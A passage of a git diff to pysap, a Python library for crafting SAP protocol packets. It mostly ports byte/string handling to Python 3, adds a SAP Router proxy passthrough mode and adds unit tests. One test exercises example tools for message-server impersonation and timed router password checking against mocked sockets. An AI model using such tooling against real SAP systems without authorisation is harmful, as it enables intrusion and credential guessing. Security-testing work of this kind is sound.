route[-1].port.isdigit(): + options.target_port = int(route[-1].port) del route if not options.remote_host: parser.error("Remote host is required") - if not options.target_host: - parser.error("Target host to connect to is required") - if not options.target_port: - parser.error("Target port to connect to is required") + if options.passthrough: + options.talk_mode = "raw" + if not options.local_port: + options.local_port = options.remote_port + else: + if not options.target_host: + parser.error("Target host to connect to is required") + if not options.target_port: + parser.error("Target port to connect to is required") + if not options.local_port: + print("[*] No local port specified, using target port %d" % options.target_port) + options.local_port = options.target_port options.talk_mode = options.talk_mode.lower() if options.talk_mode not in ["raw", "ni"]: parser.error("Invalid talk mode") - if not options.local_port: - print("[*] No local port specified, using target port %d" % options.target_port) - options.local_port = options.target_port - return options @@ -121,7 +132,7 @@ def main(): options.talk_mode)) if options.target_route_string: - logging.info("[*] using Route String %s" % (options.target_route_string)) + logging.info("[*] using Route String %s" % (options.target_route_string)) options.talk_mode = {"raw": ROUTER_TALK_MODE_NI_RAW_IO, "ni": ROUTER_TALK_MODE_NI_MSG_IO}[options.talk_mode] proxy = SAPRouterNativeProxy(options.local_host, options.local_port, diff --git a/pysap/SAPCAR.py b/pysap/SAPCAR.py index 0af7fbf3..7add0c20 100644 --- a/pysap/SAPCAR.py +++ b/pysap/SAPCAR.py @@ -505,7 +505,12 @@ def calculate_checksum(data): :return: the CRC32 checksum :rtype: int """ - return -crc32(data, -1) - 1 + crc = crc32(data, -1) + # zlib.crc32 always returns an unsigned 32-bit value in Python 3, but the checksum + # field is a signed 32-bit integer, so convert to signed before negating + if crc >= 0x80000000: + crc -= 0x100000000 + return -crc - 1 @classmethod def from_file(cls, filename, version=SAPCAR_VERSION_201, archive_filename=None): diff --git a/pysap/SAPHDB.py b/pysap/SAPHDB.py index 72e54fd8..72b94bda 100644 --- a/pysap/SAPHDB.py +++ b/pysap/SAPHDB.py @@ -914,7 +914,10 @@ def authenticate(self, connection): auth_response_part = auth_response.segments[0].parts[0].buffer[0] # Check the method replied by the server - if self.METHOD != auth_response_part.auth_fields[0].value: + server_method = auth_response_part.auth_fields[0].value + if isinstance(server_method, bytes): + server_method = server_method.decode('utf-8', errors='replace') + if self.METHOD != server_method: raise SAPHDBAuthenticationError("Authentication method not supported on server") # Craft authentication part and return it @@ -928,7 +931,8 @@ def process_connect_response(self, connect_reponse, connection=None): connect_reponse.segments[0].parts[0].partkind == 33 and \ len(connect_reponse.segments[0].parts[0].buffer) and \ len(connect_reponse.segments[0].parts[0].buffer[0].auth_fields) and \ - connect_reponse.segments[0].parts[0].buffer[0].auth_fields[0].value == self.METHOD: + (connect_reponse.segments[0].parts[0].buffer[0].auth_fields[0].value == self.METHOD or + connect_reponse.segments[0].parts[0].buffer[0].auth_fields[0].value == self.METHOD.encode()): self.session_cookie = connect_reponse.segments[0].parts[0].buffer[0].auth_fields[1].value @@ -1146,7 +1150,10 @@ def authenticate(self, connection): first_auth_response_part = first_auth_response.segments[0].parts[0].buffer[0] # Check the method replied by the server - if self.METHOD != first_auth_response_part.auth_fields[0].value: + server_method = first_auth_response_part.auth_fields[0].value + if isinstance(server_method, bytes): + server_method = server_method.decode('utf-8', errors='replace') + if self.METHOD != server_method: raise SAPHDBAuthenticationError("Authentication method not supported on server") # The initial response from the server includes the NegTokenResp structure: @@ -1186,7 +1193,10 @@ def authenticate(self, connection): second_auth_response_part = second_auth_response.segments[0].parts[0].buffer[0] # Check the method replied by the server - if self.METHOD != second_auth_response_part.auth_fields[0].value: + server_method = second_auth_response_part.auth_fields[0].value + if isinstance(server_method, bytes): + server_method = server_method.decode('utf-8', errors='replace') + if self.METHOD != server_method: raise SAPHDBAuthenticationError("Authentication method not supported on server") # Craft authentication part and return it diff --git a/pysap/SAPIGS.py b/pysap/SAPIGS.py index 62ac8d77..dbcb5444 100755 --- a/pysap/SAPIGS.py +++ b/pysap/SAPIGS.py @@ -201,11 +201,15 @@ def http(host, port, interpreter, files=None, tls=False, method='POST'): # update User-Agent header req.headers['User-Agent'] = 'pysap' # format the request than could be send with SAP NI - req_format = ('{}\r\n{}\r\n\r\n{}'.format( - req.method + ' ' + req.url + ' HTTP/1.1', - '\r\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()), - req.body) - ) + header_line = (req.method + ' ' + req.url + ' HTTP/1.1').encode() + headers = '\r\n'.join('{}: {}'.format(k, v) for k, v in req.headers.items()).encode() + if req.body is None: + body = b"" + elif isinstance(req.body, bytes): + body = req.body + else: + body = req.body.encode() + req_format = header_line + b'\r\n' + headers + b'\r\n\r\n' + body return req_format diff --git a/pysap/SAPMS.py b/pysap/SAPMS.py index 096eb245..048e0f1c 100644 --- a/pysap/SAPMS.py +++ b/pysap/SAPMS.py @@ -28,7 +28,7 @@ # Custom imports from pysap.SAPNI import SAPNI from pysap.utils.fields import (PacketNoPadded, IntToStrField, StrNullFixedLenPaddedField, - StrNullFixedLenField) + StrNullFixedLenField, StrFixedLenDecodedField) # Message Server Domain values @@ -595,9 +595,9 @@ class SAPMSClient1(PacketNoPadded): """ name = "SAP Message Server Client version 1" fields_desc = [ - StrFixedLenField("client", None, 20), - StrFixedLenField("host", None, 20), - StrFixedLenField("service", None, 20), + StrFixedLenDecodedField("client", None, 20), + StrFixedLenDecodedField("host", None, 20), + StrFixedLenDecodedField("service", None, 20), FlagsField("msgtype", 0, 8, ["ICM", "ATP", "UP2", "SPO", "BTC", "ENQ", "UPD", "DIA"]), IPField("hostaddrv4", "0.0.0.0"), ShortField("servno", 0x00), @@ -613,9 +613,9 @@ class SAPMSClient2(PacketNoPadded): """ name = "SAP Message Server Client version 2" fields_desc = [ - StrFixedLenField("client", None, 40), - StrFixedLenField("host", None, 32), - StrFixedLenField("service", None, 20), + StrFixedLenDecodedField("client", None, 40), + StrFixedLenDecodedField("host", None, 32), + StrFixedLenDecodedField("service", None, 20), FlagsField("msgtype", 0, 8, ["ICM", "ATP", "UP2", "SPO", "BTC", "ENQ", "UPD", "DIA"]), IPField("hostaddrv4", "0.0.0.0"), ShortField("servno", 0x00), @@ -633,9 +633,9 @@ class SAPMSClient3(Packet): """ name = "SAP Message Server Client version 3" fields_desc = [ - StrFixedLenField("client", None, 40), - StrFixedLenField("host", None, 64), - StrFixedLenField("service", None, 20), + StrFixedLenDecodedField("client", None, 40), + StrFixedLenDecodedField("host", None, 64), + StrFixedLenDecodedField("service", None, 20), FlagsField("msgtype", 0, 8, ["ICM", "ATP", "UP2", "SPO", "BTC", "ENQ", "UPD", "DIA"]), IP6Field("hostaddrv6", "::1"), IPField("hostaddrv4", "0.0.0.0"), @@ -654,9 +654,9 @@ class SAPMSClient4(PacketNoPadded): """ name = "SAP Message Server Client version 4" fields_desc = [ - StrFixedLenField("client", None, 40), - StrFixedLenField("host", None, 64), - StrFixedLenField("service", None, 20), + StrFixedLenDecodedField("client", None, 40), + StrFixedLenDecodedField("host", None, 64), + StrFixedLenDecodedField("service", None, 20), FlagsField("msgtype", 0, 8, ["ICM", "ATP", "UP2", "SPO", "BTC", "ENQ", "UPD", "DIA"]), IP6Field("hostaddrv6", "::1"), IPField("hostaddrv4", "0.0.0.0"), @@ -1086,10 +1086,10 @@ class SAPMS(Packet): """ name = "SAP Message Server" fields_desc = [ - StrFixedLenField("eyecatcher", b"**MESSAGE**\x00", 12), + StrFixedLenDecodedField("eyecatcher", b"**MESSAGE**\x00", 12), ByteField("version", 0x04), ByteEnumKeysField("errorno", 0x00, ms_errorno_values), - StrFixedLenField("toname", b"-" + b" " * 39, 40), + StrFixedLenDecodedField("toname", b"-" + b" " * 39, 40), FlagsField("msgtype", 0, 8, ["DIA", "UPD", "ENQ", "BTC", "SPO", "UP2", "ATP", "ICM"]), ByteField("reserved", 0x00), ByteEnumKeysField("domain", 0x00, ms_domain_values), @@ -1097,7 +1097,7 @@ class SAPMS(Packet): StrFixedLenField("key", b"\x00" * 8, 8), ByteEnumKeysField("flag", 0x01, ms_flag_values), ByteEnumKeysField("iflag", 0x01, ms_iflag_values), - StrFixedLenField("fromname", b"-" + b" " * 39, 40), + StrFixedLenDecodedField("fromname", b"-" + b" " * 39, 40), ConditionalField(ShortField("diag_port", 3200), lambda pkt:pkt.iflag == 0x08 and pkt.flag == 0x02), # for MS_REQUEST+MS_LOGIN_2 it's the diag port ConditionalField(ShortField("padd", 0x0000), lambda pkt:pkt.iflag != 0x08 or pkt.flag != 0x02), @@ -1118,7 +1118,7 @@ class SAPMS(Packet): ConditionalField(PacketLenField("dp_info3", SAPDPInfo3(), SAPDPInfo3, length_from=lambda x: 179), lambda pkt:(pkt.opcode == 0x0 or (pkt.opcode_version == 0x00 and pkt.opcode_charset == 0x00)) and pkt.dp_version == 0x0e), # 749 kernel # MS ADM layer - ConditionalField(StrFixedLenField("adm_eyecatcher", b"AD-EYECATCH\x00", 12), lambda pkt: pkt.iflag in [0x00, 0x02, 0x05, 0x07] or pkt.opcode == 0x0), + ConditionalField(StrFixedLenDecodedField("adm_eyecatcher", b"AD-EYECATCH\x00", 12), lambda pkt: pkt.iflag in [0x00, 0x02, 0x05, 0x07] or pkt.opcode == 0x0), ConditionalField(ByteField("adm_version", 0x01), lambda pkt:pkt.iflag in [0x00, 0x02, 0x05, 0x07] or pkt.opcode == 0x0), ConditionalField(ByteEnumKeysField("adm_type", 0x01, ms_adm_type_values), lambda pkt:pkt.iflag in [0x00, 0x02, 0x05, 0x07] or pkt.opcode == 0x0), ConditionalField(IntToStrField("adm_recsize", 104, 11), lambda pkt:pkt.iflag in [0x00, 0x02, 0x05, 0x07] or pkt.opcode == 0x0), diff --git a/pysap/SAPNI.py b/pysap/SAPNI.py index 07466312..9c138917 100644 --- a/pysap/SAPNI.py +++ b/pysap/SAPNI.py @@ -131,7 +131,8 @@ def recv(self): # If the packet received is a keep-alive request (NI_PING), send a # response (NI_PONG) and make a new receive call - if nilength == len(SAPNI.SAPNI_PING) and nidata[4:] == SAPNI.SAPNI_PING: + keep_alive_request = nilength == len(SAPNI.SAPNI_PING) and nidata[4:] == SAPNI.SAPNI_PING + if keep_alive_request: log_sapni.debug("Received NI_PING") if self.keep_alive: log_sapni.debug("Keep alive set, sending NI_PONG") @@ -145,6 +146,8 @@ def recv(self): packet = SAPNI(nidata) if self.basecls: packet.decode_payload_as(self.basecls) + elif keep_alive_request: + packet = SAPNI(length=nilength) / Raw(nidata[4:]) return packet def sr(self, packet): diff --git a/pysap/SAPRFC.py b/pysap/SAPRFC.py index fcc396c4..584decac 100644 --- a/pysap/SAPRFC.py +++ b/pysap/SAPRFC.py @@ -464,7 +464,7 @@ class SAPRFCTHStruct(PacketNoPadded): ShortField("th_acttype", 1), StrFixedLenPaddedField("th_id", b"", length=35), ByteField("th_unused_comm1", 0,), - PacketListField("th_some_cpic_params", None, SAPCPICPARAM, count_from=lambda pkt: 1), + PacketListField("th_some_cpic_params", [SAPCPICPARAM()], SAPCPICPARAM, count_from=lambda pkt: 1), StrFixedLenField("th_unused_comm2", b"\x00\x00\x00\xe2", length=4), StrFixedLenField("th_eyec2", b"*TH*", length=4), ] diff --git a/pysap/SAPRouter.py b/pysap/SAPRouter.py index 93cacdc4..511671ea 100644 --- a/pysap/SAPRouter.py +++ b/pysap/SAPRouter.py @@ -19,10 +19,11 @@ # Standard imports import re import logging +from struct import pack, unpack from socket import error as SocketError # External imports from scapy.layers.inet import TCP -from scapy.packet import Packet, bind_layers, Raw +from scapy.packet import Packet, bind_layers, Raw, raw from scapy.supersocket import socket, StreamSocket from scapy.fields import (ByteField, ShortField, ConditionalField, StrField, IntField, StrNullField, PacketListField, @@ -34,7 +35,7 @@ from pysap.SAPSNC import SAPSNCFrame from pysap.SAPNI import (SAPNI, SAPNIStreamSocket, SAPNIProxy, SAPNIProxyHandler) -from pysap.utils.fields import (PacketNoPadded, StrNullFixedLenField) +from pysap.utils.fields import (PacketNoPadded, StrNullFixedLenField, StrNullDecodedField) # Create a logger for the SAPRouter layer @@ -259,27 +260,27 @@ class SAPRouterError(PacketNoPadded): """ name = "SAP Router Error Text" fields_desc = [ - StrNullField("eyecatcher", "*ERR*"), - StrNullField("counter", "1"), - StrNullField("error", ""), - StrNullField("return_code", ""), - StrNullField("component", "NI (network interface)"), - StrNullField("release", ""), - StrNullField("version", ""), - StrNullField("module", "nirout.cpp"), - StrNullField("line", ""), - StrNullField("detail", ""), - StrNullField("error_time", ""), - StrNullField("system_call", ""), - StrNullField("errorno", ""), - StrNullField("errorno_text", ""), - StrNullField("error_count", ""), - StrNullField("location", ""), - StrNullField("XXX5", ""), - StrNullField("XXX6", ""), - StrNullField("XXX7", ""), - StrNullField("XXX8", ""), - StrNullField("eyecatcher_end", "*ERR*"), + StrNullDecodedField("eyecatcher", "*ERR*"), + StrNullDecodedField("counter", "1"), + StrNullDecodedField("error", ""), + StrNullDecodedField("return_code", ""), + StrNullDecodedField("component", "NI (network interface)"), + StrNullDecodedField("release", ""), + StrNullDecodedField("version", ""), + StrNullDecodedField("module", "nirout.cpp"), + StrNullDecodedField("line", ""), + StrNullDecodedField("detail", ""), + StrNullDecodedField("error_time", ""), + StrNullDecodedField("system_call", ""), + StrNullDecodedField("errorno", ""), + StrNullDecodedField("errorno_text", ""), + StrNullDecodedField("error_count", ""), + StrNullDecodedField("location", ""), + StrNullDecodedField("XXX5", ""), + StrNullDecodedField("XXX6", ""), + StrNullDecodedField("XXX7", ""), + StrNullDecodedField("XXX8", ""), + StrNullDecodedField("eyecatcher_end", "*ERR*"), ] time_format = "%a %b %d %H:%M:%S %Y" @@ -361,6 +362,14 @@ def router_is_known_type(pkt): return pkt.type in SAPRouter.router_type_values +def normalize_route_hops(route): + """Normalize route hop field types before serializing route requests.""" + for hop in route: + if hop.port is not None and isinstance(hop.port, int): + hop.port = str(hop.port) + return route + + class SAPRouter(Packet): """SAP Router packet @@ -501,11 +510,16 @@ def get_router_version(connection): :return: version """ - response = connection.sr(SAPRouter(type=SAPRouter.SAPROUTER_CONTROL, - version=SAPRouter.SAPROUTER_DEFAULT_VERSION, - opcode=1)) - response.decode_payload_as(SAPRouter) - return response.version + orig_cls = getattr(connection, 'basecls', None) + connection.basecls = SAPRouter + try: + response = connection.sr(SAPRouter(type=SAPRouter.SAPROUTER_CONTROL, + version=SAPRouter.SAPROUTER_DEFAULT_VERSION, + opcode=1)) + response.decode_payload_as(SAPRouter) + return response.version + finally: + connection.basecls = orig_cls class SAPRouteException(Exception): @@ -581,8 +595,13 @@ def route_to(self, route, talk_mode): """ # Build the route request packet talk_mode = talk_mode or ROUTER_TALK_MODE_NI_MSG_IO - router_strings = list(map(str, route)) - target = "%s:%d" % (route[-1].hostname, int(route[-1].port)) + # Ensure port values are strings/bytes before serializing route hops. + normalize_route_hops(route) + router_strings = [raw(hop) for hop in route] + hostname = route[-1].hostname + if isinstance(hostname, bytes): + hostname = hostname.decode("utf-8", errors="replace") + target = "%s:%d" % (hostname, int(route[-1].port)) router_strings_lens = list(map(len, router_strings)) route_request = SAPRouter(type=SAPRouter.SAPROUTER_ROUTE, route_ni_version=self.router_version, @@ -594,8 +613,15 @@ def route_to(self, route, talk_mode): route_string=route) log_saprouter.debug("Requesting route to %s using mode %d (%s)", target, talk_mode, router_ni_talk_mode_values[talk_mode]) - # Send the request and grab the response - response = self.sr(route_request) + # Send the request and grab the response; temporarily use SAPRouter as + # basecls so recv() decodes the router reply correctly before we switch + # to the final application-layer class. + orig_cls = self.basecls + self.basecls = SAPRouter + try: + response = self.sr(route_request) + finally: + self.basecls = orig_cls response.decode_payload_as(SAPRouter) if SAPRouter in response: response = response[SAPRouter] @@ -607,7 +633,8 @@ def route_to(self, route, talk_mode): raise SAPRouteException("Route request not accepted") else: log_saprouter.warning("Error requesting route to %s", target) - raise Exception("Router error:", response.err_text_value) + err = response.err_text_value + raise Exception("Router error: %s" % (err.detail.decode("utf-8", errors="replace") if SAPRouterError in response else str(err))) else: log_saprouter.warning("Error requesting route to %s", target) raise Exception("Wrong response received") @@ -707,7 +734,7 @@ def get_nisocket(cls, host=None, port=None, route=None, password=None, # the route if host is not None and port is not None: route.append(SAPRouterRouteHop(hostname=host, - port=port, + port=str(port), password=password)) # Connect to the first hop in the route (it should be the SAP Router) @@ -793,8 +820,6 @@ def __init__(self, bind_address, bind_port, remote_address, remote_port, self.target_port = target_port self.target_pass = target_pass self.talk_mode = talk_mode - self.routed = False - self.route() def handle_connection(self): """Block until a connection is received from the listener, request @@ -806,14 +831,21 @@ def handle_connection(self): """ # Accept a client connection (client, __) = self.listener.ins.accept() - - # Creates a remote socket - router = self.route() + client_ni = SAPNIStreamSocket(client, self.keep_alive) + + if getattr(self.options, 'passthrough', False): + # Passthrough mode: connect to remote SAP Router with raw TCP and + # forward all bytes transparently. The client (e.g. SAPGUI) handles + # its own NI_ROUTE handshake with the real SAP Router through the pipe. + (remote_address, remote_port) = self.remote_host + router = SAPNIStreamSocket(socket.create_connection((remote_address, remote_port)), + self.keep_alive) + else: + # Creates a remote socket (proxy establishes NI_ROUTE on behalf of client) + router = self.route() # Create the NI Stream Socket and handle it - proxy = self.handler(SAPNIStreamSocket(client, self.keep_alive), - router, - self.options) + proxy = self.handler(client_ni, router, self.options) return proxy def route(self): @@ -831,15 +863,16 @@ def route(self): keep_alive=self.keep_alive) # Build the Route request packet - if self.options.target_route_string is None: + if getattr(self.options, 'target_route_string', None) is None: router_string = [SAPRouterRouteHop(hostname=remote_address, - port=remote_port), + port=str(remote_port)), SAPRouterRouteHop(hostname=self.target_address, - port=self.target_port, + port=str(self.target_port), password=self.target_pass)] else: router_string = SAPRouterRouteHop.from_string(self.options.target_route_string) - router_string_lens = list(map(len, list(map(str, router_string)))) + normalize_route_hops(router_string) + router_string_lens = list(map(len, [raw(hop) for hop in router_string])) p = SAPRouter(type=SAPRouter.SAPROUTER_ROUTE, route_entries=len(router_string), route_talk_mode=self.talk_mode, @@ -848,16 +881,20 @@ def route(self): route_offset=router_string_lens[0], route_string=router_string) + log_saprouter.debug("Route request raw (talk_mode=%d): %r", self.talk_mode, raw(p)) # Send the request and grab the response response = router.sr(p) + log_saprouter.debug("Route response raw: %r", raw(response)[:64]) if SAPRouter in response: response = response[SAPRouter] + log_saprouter.debug("Route response: type=%r return_code=%s raw=%r", + response.type, getattr(response, 'return_code', 'N/A'), + raw(response)[:64]) if router_is_pong(response): log_saprouter.debug("Route request to %s:%d accepted by %s:%d", self.target_address, self.target_port, remote_address, remote_port) - self.routed = True elif router_is_error(response) and response.return_code == -94: log_saprouter.debug("Route request to %s:%d not accepted by %s:%d", self.target_address, self.target_port, @@ -865,7 +902,8 @@ def route(self): raise SAPRouteException("Route request not accepted") else: log_saprouter.error("Router send error: %s", response.err_text_value) - raise Exception("Router error: %s", response.err_text_value) + err = response.err_text_value + raise Exception("Router error: %s" % (err.detail.decode("utf-8", errors="replace") if SAPRouterError in response else str(err))) else: log_saprouter.error("Wrong response received") raise Exception("Wrong response received") @@ -898,18 +936,55 @@ def recv_send(self, local, remote, process): :param process: the function that process the incoming data :type process: function """ - # Receive a native packet (not SAP NI) - packet = local.ins.recv(self.mtu) - log_saprouter.debug("Received %d native bytes", len(packet)) - - # Handle close connection - if len(packet) == 0: - local.close() - raise SocketError((100, "Underlying stream socket tore down")) - - # Send the packet to the remote peer - remote.ins.sendall(packet) - log_saprouter.debug("Sent %d native bytes", len(packet)) + talk_mode = getattr(self.options, 'talk_mode', ROUTER_TALK_MODE_NI_RAW_IO) if self.options else ROUTER_TALK_MODE_NI_RAW_IO + + if talk_mode == ROUTER_TALK_MODE_NI_MSG_IO: + if process == self.process_client: + # client → router: read raw bytes, prepend NI length header manually + packet = local.ins.recv(self.mtu) + log_saprouter.debug("Received %d native bytes from client, first bytes: %r", len(packet), packet[:32]) + if len(packet) == 0: + local.close() + raise SocketError((100, "Underlying stream socket tore down")) + remote.ins.sendall(pack("!I", len(packet)) + packet) + log_saprouter.debug("Sent NI-wrapped %d bytes to router", len(packet)) + else: + # router → client: read NI frame, preserve framing for NI-aware clients (e.g. SAPGUI) + # The router forwards the target's NI frames directly; clients expect end-to-end NI. + header = b"" + while len(header) < 4: + chunk = local.ins.recv(4 - len(header)) + if not chunk: + local.close() + raise SocketError((100, "Underlying stream socket tore down")) + header += chunk + length = unpack("!I", header)[0] + # Skip NI keep-alive signals + if header in (b'\xff\xff\xff\xff', b'\xff\xff\xff\xfe'): + log_saprouter.debug("Skipping NI keep-alive signal") + return + payload = b"" + while len(payload) < length: + chunk = local.ins.recv(min(self.mtu, length - len(payload))) + if not chunk: + local.close() + raise SocketError((100, "Underlying stream socket tore down")) + payload += chunk + log_saprouter.debug("Received %d bytes from router, first bytes: %r", length, payload[:32]) + if payload.startswith(b'NI_RTERR'): + log_saprouter.debug("Router returned NI_RTERR, closing") + local.close() + raise SocketError((100, "Router returned NI_RTERR")) + remote.ins.sendall(header + payload) + else: + # Raw mode: bypass NI framing completely + packet = local.ins.recv(self.mtu) + log_saprouter.debug("Received %d native bytes", len(packet)) + if len(packet) == 0: + local.close() + raise SocketError((100, "Underlying stream socket tore down")) + remote.ins.sendall(packet) + log_saprouter.debug("Sent %d native bytes", len(packet)) # Bind SAP NI with the SAP Router port diff --git a/pysap/utils/crypto/__init__.py b/pysap/utils/crypto/__init__.py index 0d3c9df4..e287b96a 100644 --- a/pysap/utils/crypto/__init__.py +++ b/pysap/utils/crypto/__init__.py @@ -278,6 +278,8 @@ def get_client_key(self): return os.urandom(self.CLIENT_KEY_SIZE) def salt_key(self, password, salt, rounds): + if isinstance(password, str): + password = password.encode('utf-8') hmac = HMAC(password, self.ALGORITHM(), self.backend) hmac.update(salt) return hmac.finalize() @@ -330,6 +332,8 @@ class SCRAM_PBKDF2SHA256(SCRAM_SHA256): """SCRAM scheme using PBKDF2 with SHA256""" def salt_key(self, password, salt, rounds): + if isinstance(password, str): + password = password.encode('utf-8') pbkdf2 = PBKDF2HMAC(self.ALGORITHM(), self.CLIENT_PROOF_SIZE, salt, rounds, self.backend) return pbkdf2.derive(password) diff --git a/pysap/utils/fields.py b/pysap/utils/fields.py index 1e8706c8..d5555ec0 100644 --- a/pysap/utils/fields.py +++ b/pysap/utils/fields.py @@ -24,7 +24,8 @@ from scapy.packet import Packet from scapy.asn1fields import (ASN1F_CHOICE, ASN1F_field, ASN1_Error, ASN1F_badsequence, BER_Decoding_Error) from scapy.volatile import (RandNum, RandTermString, RandBin) -from scapy.fields import (MultiEnumField, StrLenField, Field, StrFixedLenField, StrField, PacketListField, LongField) +from scapy.fields import (MultiEnumField, StrLenField, Field, StrFixedLenField, StrField, PacketListField, LongField, + StrNullField) def saptimestamp_to_datetime(timestamp): @@ -118,10 +119,10 @@ def __init__(self, name, default, length=None, length_from=None, max_length=None def i2repr(self, pkt, v): if self.null_terminated(pkt): if isinstance(v, bytes): - v = v.rstrip(b"\0") + return v.rstrip(b"\0").decode("utf-8", errors="replace") elif isinstance(v, str): - v = v.rstrip("\0") - return repr(v) + return v.rstrip("\0") + return str(v) return StrFixedLenField.i2repr(self, pkt, v) def getfield(self, pkt, s): @@ -184,6 +185,11 @@ def __init__(self, name, default, length=None, length_from=None, padd=" "): StrFixedLenField.__init__(self, name, default, length, length_from) self.padd = padd.encode() if isinstance(padd, str) else padd + def i2repr(self, pkt, v): + if isinstance(v, bytes): + return v.rstrip(b"\x00").strip().decode("utf-8", errors="replace") + return str(v).strip() if v is not None else "" + def getfield(self, pkt, s): l = self.length_from(pkt) lz = s.find(b"\x00") @@ -201,6 +207,24 @@ def addfield(self, pkt, s, val): return StrFixedLenField.addfield(self, pkt, s, val) +class StrFixedLenDecodedField(StrFixedLenField): + """StrFixedLenField that decodes bytes to str in show() output.""" + + def i2repr(self, pkt, x): + if isinstance(x, bytes): + return x.rstrip(b"\x00").strip().decode("utf-8", errors="replace") + return str(x).strip() if x is not None else "" + + +class StrNullDecodedField(StrNullField): + """StrNullField that decodes bytes to str in show() output.""" + + def i2repr(self, pkt, x): + if isinstance(x, bytes): + return x.decode("utf-8", errors="replace") + return str(x) if x is not None else "" + + class IntToStrField(Field): """Custom field from int to str values, with a variable length """ @@ -217,8 +241,15 @@ def __init__(self, name, default, length=11): # Stores the conversion format between representations self.format = "%" + "%d" % length + "d" + def getfield(self, pkt, s): + if len(s) < self.length: + return b'', self.default + return s[self.length:], self.m2i(pkt, self.struct.unpack(s[:self.length])[0]) + def m2i(self, pkt, x): - return bytes(x) + if isinstance(x, bytes): + return x.decode("utf-8", errors="replace").strip() + return str(x) def i2m(self, pkt, x): return (self.format % int(x)).encode() @@ -230,7 +261,7 @@ def i2count(self, pkt, x): class StrEncodedPaddedField(StrField): __slots__ = ["remain", "encoding", "padd"] - def __init__(self, name, default, encoding="utf-16", padd="\x0c", + def __init__(self, name, default, encoding="utf-16", padd=b"\x0c", fmt="H", remain=0): StrField.__init__(self, name, default, fmt, remain) self.encoding = encoding @@ -252,7 +283,7 @@ def addfield(self, pkt, s, val): def getfield(self, pkt, s): l = s.find(self.padd) if l < 0: - return "", s + return b"", s return s[l + 1:], self.m2i(pkt, s[:l]) diff --git a/tests/examples_regression_test.py b/tests/examples_regression_test.py new file mode 100644 index 00000000..b179d2fa --- /dev/null +++ b/tests/examples_regression_test.py @@ -0,0 +1,79 @@ +# encoding: utf-8 +# pysap - Python library for crafting SAP's network protocols packets +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License +# as published by the Free Software Foundation; either version 2 +# of the License, or (at your option) any later version. +# + +import io +import socket +import unittest +from types import SimpleNamespace +from unittest import mock + +from pysap.SAPMS import SAPMS +from pysap.SAPNI import SAPNI + +from examples import ms_impersonator, router_password_check + + +class FakeTimingSocket(object): + def __init__(self): + self.sent = [] + self.closed = False + + def __enter__(self): + return self + + def __exit__(self, exc_type, exc_value, traceback): + self.closed = True + + def sendall(self, data): + self.sent.append(data) + + def recv(self, size): + return b"response" + + +class PySAPExamplesRegressionTest(unittest.TestCase): + + def test_ms_impersonator_requires_sapms_layer(self): + response = SAPMS() + + self.assertIs(ms_impersonator.require_sapms_response(response, "testing"), response) + + with self.assertRaises(ValueError): + ms_impersonator.require_sapms_response(SAPNI() / b"not-ms", "testing") + + def test_router_password_check_uses_timeout_and_closes_socket(self): + options = SimpleNamespace(remote_host="router", remote_port=3299, + router_version=40, timeout=2.5) + conn = FakeTimingSocket() + output = io.StringIO() + + with mock.patch.object(router_password_check.socket, "create_connection", + return_value=conn) as create_connection: + elapsed = router_password_check.try_password(options, "secret", output, 3) + + create_connection.assert_called_once_with(("router", 3299), timeout=2.5) + self.assertIsInstance(elapsed, int) + self.assertTrue(conn.closed) + self.assertEqual(output.getvalue().split(",")[:2], ["3", "secret"]) + + def test_router_password_check_records_socket_errors(self): + options = SimpleNamespace(remote_host="router", remote_port=3299, + router_version=40, timeout=2.5) + output = io.StringIO() + + with mock.patch.object(router_password_check.socket, "create_connection", + side_effect=socket.timeout("timed out")): + elapsed = router_password_check.try_password(options, "secret", output, 4) + + self.assertEqual(elapsed, "ERROR:TimeoutError") + self.assertEqual(output.getvalue(), "4,secret,ERROR:TimeoutError\n") + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/packet_test.py b/tests/packet_test.py index f3f1ec48..d3605ce2 100644 --- a/tests/packet_test.py +++ b/tests/packet_test.py @@ -211,6 +211,24 @@ def test_packet_examples_build_and_dissect(name, packet): packet.__class__(raw_packet) +@pytest.mark.unit +def test_saprfc_th_struct_default_builds_declared_length(): + from scapy.config import conf + from pysap.SAPRFC import SAPCPICPARAM, SAPRFCTHStruct + + old_debug_dissector = conf.debug_dissector + conf.debug_dissector = True + try: + raw_packet = bytes(SAPRFCTHStruct()) + packet = SAPRFCTHStruct(raw_packet) + finally: + conf.debug_dissector = old_debug_dissector + + assert len(raw_packet) == packet.th_len == 230 + assert len(packet.th_some_cpic_params) == 1 + assert isinstance(packet.th_some_cpic_params[0], SAPCPICPARAM) + + @pytest.mark.slow @pytest.mark.packet_visual @pytest.mark.skipif(not scapy_canvas_dump_available(), diff --git a/tests/sapigs_test.py b/tests/sapigs_test.py index c6c9220a..da630a6e 100644 --- a/tests/sapigs_test.py +++ b/tests/sapigs_test.py @@ -66,9 +66,55 @@ def prepare(self): with mock.patch.object(module, "Request", FakeRequest): request = SAPIGS.http("host", 8000, "ZIPPER") - self.assertIn("POST http://host:8000/ZIPPER HTTP/1.1", request) - self.assertIn("User-Agent: pysap", request) - self.assertTrue(request.endswith("body")) + self.assertIsInstance(request, bytes) + self.assertIn(b"POST http://host:8000/ZIPPER HTTP/1.1", request) + self.assertIn(b"User-Agent: pysap", request) + self.assertTrue(request.endswith(b"body")) + + def test_http_request_builder_preserves_bytes_body(self): + module = importlib.import_module("pysap.SAPIGS") + + class FakePreparedRequest(object): + def __init__(self): + self.method = "POST" + self.url = "http://host:8000/ZIPPER" + self.headers = {"Host": "host:8000"} + self.body = b"\xff\x00body" + + class FakeRequest(object): + def __init__(self, method, url, files=None): + pass + + def prepare(self): + return FakePreparedRequest() + + with mock.patch.object(module, "Request", FakeRequest): + request = SAPIGS.http("host", 8000, "ZIPPER") + + self.assertTrue(request.endswith(b"\xff\x00body")) + + def test_http_request_builder_allows_empty_body(self): + module = importlib.import_module("pysap.SAPIGS") + + class FakePreparedRequest(object): + def __init__(self): + self.method = "GET" + self.url = "http://host:8000/ZIPPER" + self.headers = {"Host": "host:8000"} + self.body = None + + class FakeRequest(object): + def __init__(self, method, url, files=None): + pass + + def prepare(self): + return FakePreparedRequest() + + with mock.patch.object(module, "Request", FakeRequest): + request = SAPIGS.http("host", 8000, "ZIPPER", method="GET") + + self.assertIn(b"GET http://host:8000/ZIPPER HTTP/1.1", request) + self.assertTrue(request.endswith(b"\r\n\r\n")) def suite(): diff --git a/tests/saprouter_test.py b/tests/saprouter_test.py index 